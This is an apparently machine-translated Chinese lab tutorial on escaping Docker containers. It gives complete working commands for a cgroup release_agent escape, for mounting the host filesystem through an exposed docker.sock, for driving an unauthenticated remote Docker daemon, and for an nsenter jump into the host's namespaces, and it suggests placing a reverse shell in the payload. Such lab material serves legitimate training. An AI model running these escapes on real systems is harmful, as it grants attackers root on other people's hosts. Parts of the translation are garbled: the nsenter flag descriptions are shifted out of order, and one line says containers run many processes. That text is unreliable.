容器漏洞101

在我们开始之前,有必要重新总结一下在集装箱化介绍室学到的一些东西。首先,让我们回想一下,容器是孤立的,具有最小的环境。下图描述了容器的环境。

Illustrating three containers on a single computer

需要注意的一些重要事项是:

仅仅因为您可以访问容器(即立足点),并不意味着您可以访问主机操作系统和相关文件或其他容器。

由于容器的最小性质(即它们只有开发人员指定的工具),您不太可能找到Netcat,Wget甚至Bash等基础工具!这使得攻击者很难在容器内进行交互。

我们可以在Docker容器中找到哪些漏洞

虽然Docker容器旨在将应用程序彼此隔离,但它们仍然容易受到攻击。例如,应用程序的硬编码密码仍然可以存在。例如,如果攻击者能够通过易受攻击的Web应用程序获得访问权限,他们将能够找到这些凭据。在下面的代码片段中,您可以看到一个包含硬编码的数据库服务器凭据的Web应用程序示例:

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database name */
define( 'DB_NAME', 'sales' );

/** Database username */
define( 'DB_USER', 'production' );

/** Database password */
define( 'DB_PASSWORD', 'SuperstrongPassword321!' );

当然,这并不是容器中唯一可能被利用的漏洞。下表列出了其他潜在的攻击媒介。

Vulnerability Description
容器配置错误 配置错误的容器将拥有操作容器所不需要的权限。例如,一个运行在“特权”模式下的容器将可以访问主机操作系统,从而消除了隔离层。
Vulnerable Images 已经发生了许多流行的Docker镜像被后门执行恶意操作的事件,例如加密挖矿。
Network Connectivity 没有正确联网的容器可能会暴露在互联网上。例如,Web应用程序的数据库容器应该只能由Web应用程序容器访问-而不是Internet。此外,集装箱可以成为一种横向移动的方法。一旦攻击者访问了容器,他们就可以与主机上未暴露于网络的其他容器进行交互。

这只是对容器中可能存在的某些类型的漏洞的简要总结。本会议室的任务将进一步深入探讨这些问题!

漏洞1:隐藏的容器(功能)

从根本上说,Linux功能是授予Linux内核中的进程或可执行文件的root权限。这些特权允许细粒度的特权分配-而不仅仅是分配所有的特权。

这些功能决定了Docker容器对操作系统的权限。Docker容器可以以两种模式运行:

  • User (Normal) mode
  • Privileged mode特权模式

在下图中,我们可以看到两种不同的模式,以及每种模式对主机的访问级别:

Illustrating the different container modes and privileges and the level of access they have to the operating system.

注意容器#1和#2是如何在“用户/正常”模式下运行的,而容器#3是如何在“特权”模式下运行的。“用户”模式下的容器通过Docker引擎与操作系统交互。然而,集装箱不会这样做。相反,它们绕过Docker引擎,直接与操作系统通信。

这对我们意味着什么

如果一个容器以特权访问操作系统的方式运行,我们可以在主机上以root身份有效地执行命令。

我们可以使用libcap 2-bin包附带的实用程序(如 capsh )来列出我们的容器所具有的功能:capsh --print 。功能在Linux中用于为进程分配特定权限。列出容器的功能是确定可以进行的系统调用和潜在的攻击机制的好方法。

下面的终端代码片段提供了一些感兴趣的功能。

列出特权Docker容器的功能

           cmnatic@privilegedcontainer:~$ capsh --print 
Current: = cap_chown, cap_sys_module, cap_sys_chroot, cap_sys_admin, cap_setgid,cap_setuid

在下面的exploit示例中,我们将使用mountsyscall(容器的功能允许)将主机的控制组挂载到容器中。

下面的代码片段是基于[Trailofbits创建的概念证明(Proof of Concept,缩写)](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The SYS_ADMIN capability allows a,security risks of doing so.)的(但经过修改)版本,该版本详细说明了此漏洞的内部工作原理。

1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

2. echo 1 > /tmp/cgrp/x/notify_on_release

3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

4. echo "$host_path/exploit" > /tmp/cgrp/release_agent

5. echo '#!/bin/sh' > /exploit

6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit

7. chmod a+x /exploit

8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

-------

Note: We can place whatever we like in the /exploit file (step 5). This could be, for example, a reverse shell to our attack machine.

注意:我们可以在/exploit文件中放置任何我们喜欢的东西(步骤5)。例如,这可能是我们攻击机器的反向外壳。

解释漏洞

1. 我们需要创建一个组来使用Linux内核编写和执行我们的漏洞。内核使用“cgroups”来管理操作系统上的进程。由于我们可以在主机上以root身份管理“cgroups”,因此我们将其挂载到容器上的“*/tmp/cgrp*“。

、为了执行我们的漏洞,我们需要告诉内核运行我们的代码。通过在“*/tmp/cgrp/x/notify_on_release*“中添加“1”,我们告诉内核在“cgroup”完成后执行某些操作。(Paul Menage)2004年)

3. 我们找出容器的文件在主机上的存储位置,并将其存储为变量。

4. 然后,我们将容器文件的位置回显到我们的“*/exploit*“中,然后最终回显到“release_agent”中,这是“cgroup”在发布后将执行的操作。

5. 让我们把我们的漏洞变成主机上的一个shell

6. 一旦执行“*/exploit*“,执行命令将主机标志回显到容器中名为“flag.txt”的文件中。

7. 使我们的漏洞可执行!

8. 我们创建一个进程并将其存储到“*/tmp/cgrp/x/cgroup.procs*“中。当进程被释放时,内容将被执行。

漏洞2:通过暴露的Docker守护程序逃逸

当提到“套接字”时,您可能会想到网络中的“套接字”。这里的概念几乎是一样的。套接字用于在两个位置之间移动数据。Unix套接字使用文件系统而不是网络接口来传输数据。这被称为进程间通信(IPC),在操作系统中是必不可少的,因为能够在进程之间发送数据是非常重要的。

Unix套接字在传输数据方面比TCP/IP套接字快得多(Percona.,2020年)。这就是为什么像Redis这样的数据库技术拥有如此出色的性能。Unix套接字也使用文件系统权限。对于下一个标题来说,记住这一点很重要。

如何使用Sockets

当与Docker引擎交互时(即运行诸如docker run之类的命令),这将使用套接字完成(通常,这是使用Unix套接字完成的,除非您对远程Docker主机执行命令)。回想一下Unix套接字使用文件系统权限。这就是为什么您必须是Docker组的成员(或root!)运行Docker命令,因为你需要访问Docker拥有的socket的权限。

确认我们的用户是Docker组的一员

           cmnatic@demo-container:~$ groups
cmnatic sudo docker

在容器中查找Docker Socket

请记住,容器使用Docker引擎与主机操作系统交互(因此,可以访问Docker套接字!)这个套接字(名为docker.sock)将被挂载到容器中。它的位置因容器运行的操作系统而异,因此您可能希望find它。然而,在此示例中,容器运行Ubuntu 18.04,这意味着docker.sock位于*/var/run中。*

注意:此位置可能因操作系统而异,甚至可以由开发人员在容器运行时手动设置。

在容器中查找docker.sock文件

           cmnatic@demo-container:~$ ls -la /var/run | grep sock
srw-rw---- 1 root docker 0 Dec 9 19:37 docker.sock

在容器中利用Docker Socket

首先,让我们确认我们可以执行docker命令。您需要是容器的root用户,或者作为低权限用户拥有“docker”组权限。

让我们在这里分解脆弱性:

我们将使用Docker创建一个新容器,并将主机的文件系统挂载到这个新容器中。然后我们将访问新容器并查看主机的文件系统。我们的最后一个命令看起来像这样:docker run -v /:/mnt --rm -it alpine chroot /mnt sh,它执行以下操作: 1. 我们需要上传一个Docker镜像。对于这个房间,我在VM上提供了这个。它被称为“alpine”。“alpine”分布不是必需品,但它是极其轻量级的,将融入好得多。为了避免检测,最好使用系统中已经存在的图像,否则,您必须自己上传。、我们将使用docker run启动新容器,并将主机的文件系统(/)挂载到新容器中的(/mnt): docker run -v /:/mnt 3. 我们将告诉容器以交互方式运行(这样我们就可以在新容器中执行命令):**-it4.** 现在,我们将使用已经提供的alpine image:**alpine5。我们将使用chroot将容器的根目录更改为*/mnt*(我们将从主机操作系统挂载文件): chroot /mnt6. 现在,我们将告诉容器运行sh以获得shell并在容器中执行命令:sh–您可能需要“Ctrl + C**“来取消利用一次或两次此漏洞,但是,正如您在下面看到的那样,我们已经成功地将主机操作系统的文件系统安装到新的alpine容器中。

验证成功

在执行命令后,我们应该看到我们已经被放置到一个新的容器中。请记住,我们将主机的文件系统挂载到/mnt(然后使用chroot使容器的*/mnt*变为/)

所以,让我们通过执行ls /来查看*/*的内容

在新容器上列出/的内容(其中将包含主机操作系统的文件)

           root@alpine-container:~# ls /
bin dev home lib32 libx32 media opt root sbin srv sys usr
boot etc lib lib64 lost+found mnt proc run snap swapfile tmp var

漏洞3:通过暴露的Docker守护程序远程执行代码

Docker引擎- TCP套接字版

回想一下Docker如何使用套接字在主机操作系统和容器之间进行通信。Docker也可以使用TCP套接字来实现这一点。

Docker可以远程管理。例如,使用PortainerJenkins等管理工具部署容器来测试代码(耶,自动化!)。

The Vulnerability该漏洞

Docker引擎将在配置为远程运行时侦听端口。Docker引擎很容易远程访问,但很难安全地进行。这里的漏洞是Docker可以远程访问,并允许任何人执行命令。首先,我们需要列举。

枚举:确定设备是否具有Docker远程可扩展性

默认情况下,引擎将在端口2375上运行我们可以通过从AttackBox对您的目标(10.10.233.140)执行Nmap扫描来确认这一点。

如果我们的目标可以远程访问Docker,

           cmnatic@attack-machine:~$ nmap -sV -p 2375 10.10.233.140 Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-02 21:27 GMT
Nmap scan report for docker-host (10.10.233.140)
Host is up (0.0018s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
2375/tcp open docker Docker 20.10.20 (API 1.41)

看起来它是打开的;我们将使用curl命令开始与暴露的Docker守护进程进行交互。nbsp;说明我们可以访问Docker守护进程: curl http://10.10.233.140:2375/version

使用Docker Socket

           cmnatic@attack-machine:~$ curl http://10.10.233.140:2375/version
{
"Platform": {
"Name": "Docker Engine - Community"
},
"Components": [
{
"Name": "Engine",
"Version": "20.10.20",
"Details": {
"ApiVersion": "1.41",
"Arch": "amd64",
"BuildTime": "2022-10-18T18:18:12.000000000+00:00",
"Experimental": "false",
"GitCommit": "03df974",
"GoVersion": "go1.18.7",
"KernelVersion": "5.15.0-1022-aws",
"MinAPIVersion": "1.12",
"Os": "linux"
}]
}

在目标上执行Docker命令

为此,我们需要告诉我们的Docker版本将命令发送到目标(而不是我们自己的机器)。我们可以在目标上加上“-H”开关。为了测试我们是否可以运行命令,我们将列出目标上的容器: docker -H tcp://10.10.233.140:2375 ps

列出目标上的容器

           cmnatic@attack-machine:~$ docker -H tcp://10.10.233.140:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b4ec8c45414c dockertest "/usr/sbin/sshd -D" 10 hours ago Up 7 minutes 0.0.0.0:22->22/tcp, :::22->22/tcp priceless_mirzakhani

现在我们已经确认可以在目标上执行docker命令,我们可以做各种各样的事情。例如,启动容器、停止容器、删除它们,或者导出容器的内容以供我们进一步分析。值得回顾一下Docker简介中涵盖的命令。但是,我已经包含了一些您可能希望探索的命令:

**Command ** **Description **
network ls 用于列出容器的网络,我们可以使用它来发现其他正在运行的应用程序,并从我们的机器转向它们!
images 列出容器使用的镜像;数据也可以通过对镜像进行逆向工程来泄露。
exec 在容器上执行命令。
run 运行一个容器。

漏洞4:滥用共享空间

什么是空间

命名空间将系统资源(如进程、文件和内存)与其他命名空间隔离开来。在Linux上运行的每个进程都将被分配两件事:命名空间,进程标识符(PID)

  • A namespace
  • A Process Identifie

集装箱化是如何实现的?进程只能“看到”同一命名空间中的进程。以Docker为例,每个新的容器都将作为一个新的命名空间运行,尽管容器可以运行多个应用程序(进程)。

让我们通过比较主机操作系统上的进程数量来证明容器化的概念,并与主机运行的Docker容器(apache2 Web服务器)进行比较:

在“普通”Ubuntu系统上列出正在运行的进程

           cmnatic@thm-dev:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
--cut for brevity--
cmnatic 1984 0.0 0.7 493400 28932 ? Sl 00:48 0:00 update-notifier
cmnatic 2263 5.6 10.0 3385096 396960 ? Sl 00:48 0:08 /snap/firefox/1232/usr/lib/firefox/firefox
cmnatic 2429 0.4 2.8 2447088 114900 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 1 -
cmnatic 2457 0.0 0.4 1385228 18496 ? Sl 00:48 0:00 /usr/bin/snap userd
cmnatic 3054 0.1 2.3 2425836 91936 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 520
cmnatic 3346 1.7 4.1 2526924 162944 ? Sl 00:48 0:02 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 584
cmnatic 3350 0.0 1.6 2390708 66560 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 584
cmnatic 3369 0.0 1.6 2390712 66672 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 5 -isForBrowser -prefsLen 584
cmnatic 3417 0.0 1.6 2390708 66432 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 6 -isForBrowser -prefsLen 590
cmnatic 3490 0.0 0.3 428192 12288 ? Sl 00:49 0:00 /usr/libexec/deja-dup/deja-dup-monitor
cmnatic 3524 0.4 1.8 932320 74496 ? Sl 00:49 0:00 /usr/bin/nautilus --gapplication-service
cmnatic 3545 0.7 1.3 557340 55232 ? Ssl 00:49 0:00 /usr/libexec/gnome-terminal-server
cmnatic 3563 0.0 0.1 12908 6784 pts/0 Ss+ 00:49 0:00 bash
--cut for brevity--

(在最左边的第一列中,我们可以看到进程正在运行的用户,包括进程号(PID). 此外,请注意,最右边的列有启动进程的命令或应用程序(如Firefox和Gnome终端)。这里需要注意的是,多个应用程序和进程正在运行(特别是320!)。

一般来说,Docker容器会有很多进程在运行。这是因为容器被设计为执行一项任务。也就是说,只要运行一个网络服务器或数据库。

确定我们是否处于Container容器 (过程)

让我们列出在Docker容器中运行的进程, ps aux. 值得注意的是,在这个例子中我们只有六个进程在运行。进程数量的差异通常是我们在容器中的一个很好的指示器。

此外,下面代码片段中的第一个进程具有 PID of 1. 这是正在运行的第一个进程。PID 1(通常是init)是所有未来启动的进程的祖先(父进程)。如果由于某种原因,这个进程被停止,那么所有其他进程也会停止。

列出容器上正在运行的进程

           root@demo-container:~# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.2 0.2 166612 11356 ? Ss 00:47 0:00 /sbin/init
root 14 0.1 0.1 6520 5212 ? S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND
www-data 15 0.1 0.1 1211168 4112 ? S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND
www-data 16 0.1 0.1 1211168 4116 ? S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND
root 81 0.0 0.0 5888 2972 pts/0 R+ 00:52 ps aux

相比之下,我们可以看到只有5个进程正在运行。这是一个很好的指示,我们在一个集装箱!然而,正如我们很快发现的那样,这并不是100%的指示。具有讽刺意味的是,在某些情况下,您希望容器能够直接与主机交互。

我们如何滥用空间

调用以前漏洞中的cgroups(控制组)。我们将用另一种方法来利用它们。此攻击滥用了容器与主机操作系统共享相同命名空间的条件(因此,容器可以与主机上的进程通信)。

在运行的进程或需要“插入”到主机(例如使用调试工具)的情况下,您可能会看到这种情况。在这些情况下,通过 ps aux.

边缘情况:确定容器是否可以与主机的进程交互

           root@demo-container:~# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 0.5 102796 11372 ? Ss 11:40 0:03 /sbin/init
root 2 0.0 0.0 0 0 ? S 11:40 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 11:40 0:00 [rcu_gp]
-- cut for brevity --
root 2119 0.0 0.1 1148348 3372 ? Sl 12:00 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 22 -container-ip 172.17.0.2 -container
root 2125 0.0 0.1 1148348 3392 ? Sl 12:00 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 22 -container-ip 172.17.0.2 -container-port
root 2141 0.0 0.4 712144 9192 ? Sl 12:00 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 2032326e64254786be0a420199ef845d8f97afccba9e2e
root 2163 0.0 0.2 72308 5644 ? Ss 12:00 0:00 /usr/sbin/sshd -D

对于此漏洞,我们将使用 nsenter (命名空间输入)。 此命令 允许我们执行或启动进程,并将它们放置在与另一个进程相同的命名空间中。在这种情况下,我们将滥用容器可以看到“**/sbin/init**” 进程,这意味着我们可以在主机上启动新的命令,如bash shell。

使用以下漏洞:nsenter --target 1 --mount --uts --ipc --net /bin/bash, 它会执行以下操作: 1. 我们使用值为“1“的--target开关来执行我们的shell命令,稍后我们将在特殊系统进程ID的命名空间中执行该命令,以获取最终的根!、这是我们提供目标进程的挂载命名空间的地方。“如果未指定文件,请输入目标进程的装载命名空间。“ (Man.org,2013年)3. --mount开关允许我们与目标进程共享相同的UTS命名空间,这意味着使用相同的主机名。这一点很重要,因为主机名不匹配可能导致连接问题(特别是网络服务)。4. --uts开关意味着我们进入进程的进程间通信命名空间,这很重要。这意味着内存可以共享。5. --ipc开关意味着我们进入网络名称空间,这意味着我们可以与系统的网络相关功能进行交互。例如,网络接口。我们可以使用它来打开一个新的连接(比如主机上的一个稳定的反向shell)。6.由于我们的目标 是“/sbin/init” 进程#1(尽管它是指向“lib/systemd/systemd“的符号链接,以实现向后兼容),因此我们将systemd守护程序的名称空间和权限用于新进程(shell)7。下面是我们的进程将在这个特权名称空间中执行的位置:--net或shell。这将在内核的同一命名空间(因此也是同一特权)中执行。-你可能需要“Ctrl + C“取消利用一次或两次,这个漏洞才能工作,但正如你在下面看到的,我们已经逃离了docker容器,可以查看主机OS(显示主机名的变化)

使用容器的命令行在主机上运行命令

           root@demo-container:~# hostname
thm-docker-host

成功啦!我们现在可以以root身份查看命名空间中的主机操作系统,这意味着我们可以完全访问主机上的任何内容!